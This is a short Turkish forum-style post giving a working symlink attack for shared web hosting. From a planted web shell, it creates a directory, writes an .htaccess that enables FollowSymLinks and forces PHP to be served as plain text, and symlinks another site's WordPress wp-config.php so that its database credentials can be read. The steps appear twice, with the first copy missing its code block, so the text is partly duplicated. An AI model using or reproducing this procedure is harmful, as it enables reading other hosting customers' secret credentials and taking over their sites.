Öncelikle shellimizdeki komut satırına (execute) yerine mkdir diamonds yazıyoruz ve diamonds adında dosyamız oluşuyor.
cd diamonds diyerek açtığımız dosyanın içerisine giriyoruz ve .htaccess dosyasi oluşturuyoruz.
Ve .htaccess dosyasinin içerisine şu kodları yaziyoruz :
Yazıyoruz ve dosyayı kaydediyoruz.
En son olarak
ln -s /home/wordpress_site_user/public_html/wp-config.php diamonds.txt
Diyerek bypasslayabiliriz.
cd diamonds diyerek açtığımız dosyanın içerisine giriyoruz ve .htaccess dosyasi oluşturuyoruz.
Ve .htaccess dosyasinin içerisine şu kodları yaziyoruz :
Code:
OPTIONS Indexes FollowSymLinks SymLinksIfOwnerMatch Includes IncludesNOEXEC ExecCGI
Options Indexes FollowSymLinks
ForceType text/plain
AddType text/plain .php
AddType text/plain .html
AddType text/html .shtml
AddType txt .php
AddHandler server-parsed .php
AddHandler txt .php
AddHandler txt .html
AddHandler txt .shtml
Options All
Options All
ReadmeName diamonds.txt
Yazıyoruz ve dosyayı kaydediyoruz.
En son olarak
ln -s /home/wordpress_site_user/public_html/wp-config.php diamonds.txt
Diyerek bypasslayabiliriz.